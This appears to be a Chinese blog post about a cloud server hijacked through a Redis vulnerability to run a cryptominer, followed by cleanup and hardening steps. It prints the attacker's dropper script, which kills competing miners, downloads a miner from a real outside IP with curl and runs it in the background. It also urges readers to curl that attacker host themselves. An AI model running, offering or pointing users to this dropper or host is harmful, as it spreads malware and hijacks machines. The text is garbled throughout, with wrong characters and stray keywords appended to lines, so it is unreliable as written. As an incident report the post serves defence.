线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。忽然一则噩耗从前线传来:网站不能访问了。redis
此项目是我负责,我以150+的手速当即打开了服务器,看到Tomcat挂了,而后顺其天然的重启,启动过程当中直接被killed,再试试数据库,一样没成功,屡次尝试甚至重启机器无果。机制的我打了个top,出现如下内容:数据库
这是谁运行的程序?无论三七二十一先杀掉再说,由于它就是Tomcat等程序启动不了的元凶。然而并无什么卵用,过一会再看那个东西又跑出来占cpu。怀疑是个定时任务:json
什么鬼,是个图片?当即访问了一下:安全
好尴尬,可是心思细腻的我早知道没这么简单,确定只是假装,crul过去是下面的脚本,过程就是在挖矿:服务器
#!/bin/sh pkill -9 142.4.124.164 pkill -9 192.99.56.117 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 108.61.186.224 pkill -f 128.199.86.57 pkill -f 67.231.243.10 pkill -f 142.4.124.164 pkill -f 192.99.56.117 pkill -f 45.76.102.45 pkill -f AnXqV.yam pkill -f BI5zj pkill -f Carbon pkill -f Duck.sh pkill -f Guard.sh ...中间省略 /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep -w suppoie |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & sleep 3 fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2 chmod 777 /var/tmp/suppoie cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./suppoie -c config.json -t `echo $cores` >/dev/null & fi echo "runing....."
有兴趣的同窗想查看以上完整源代码,命令行运行下面指令(不分操做系统,方便安全无污染):运维
curl 192.99.142.235:8220/logo3.jpg
既然知道它是个定时任务,那就先取消了它,而且看看它是谁在运行:ssh
杀掉,找到存放目录:curl
进入临时目录:网站
被我发现配置文件了,先来看看内容:ui
虎躯一震,发现了很多信息啊,user是他的server的登陆用户,下面是密码,只惋惜加密过,应该找不到对方。算了,大度的我先不和你计较。干掉这两个文件后再查看top:
解决办法
找到寄生的目录,通常都会在tmp里,我这个是在/var/tmp/。首先把crontab干掉,杀掉进程,再删除产生的文件。启动Tomcat等程序,大功告成!
等等,这远远不够,考虑到能被拿去挖矿的前提下你的服务器都已经被黑客入侵了,修复漏洞才对,否则你杀掉进程删掉文件后,黑客后门进来history一敲,都知道你作了啥修复手段。
因此上面办法治标不治本,我后续作了如下工做:
1.把全部软件升级到新版本,修复 redis 的后门,配置bind选项, 限定能够链接Redis服务器的IP,并修改redis的默认端口6379。配置AUTH, 设置密码,密码会以明文方式保存在redis配置文件中。
2.修改全部软件默认端口号
3.打开ssh/authorized_keys, 删除不认识的密钥
4.删除用户列表中陌生的账号
5.封了他的ip
6.SSH使用密钥登陆并禁止口令登陆(这个通常是加运维一我的的秘钥)
木马缘由,是redis漏洞致使:
http://blog.jobbole.com/94518/
最好的方式:将主机镜像,找出病毒木马,分析入侵缘由。检查业务程序,重装系统,修复漏洞,再从新部署系统。
写在最后,网友提供的一劳永逸终极解决办法:
把你本身的挖矿脚本挂上去运行,这样别人就算挂脚本也跑不起来了。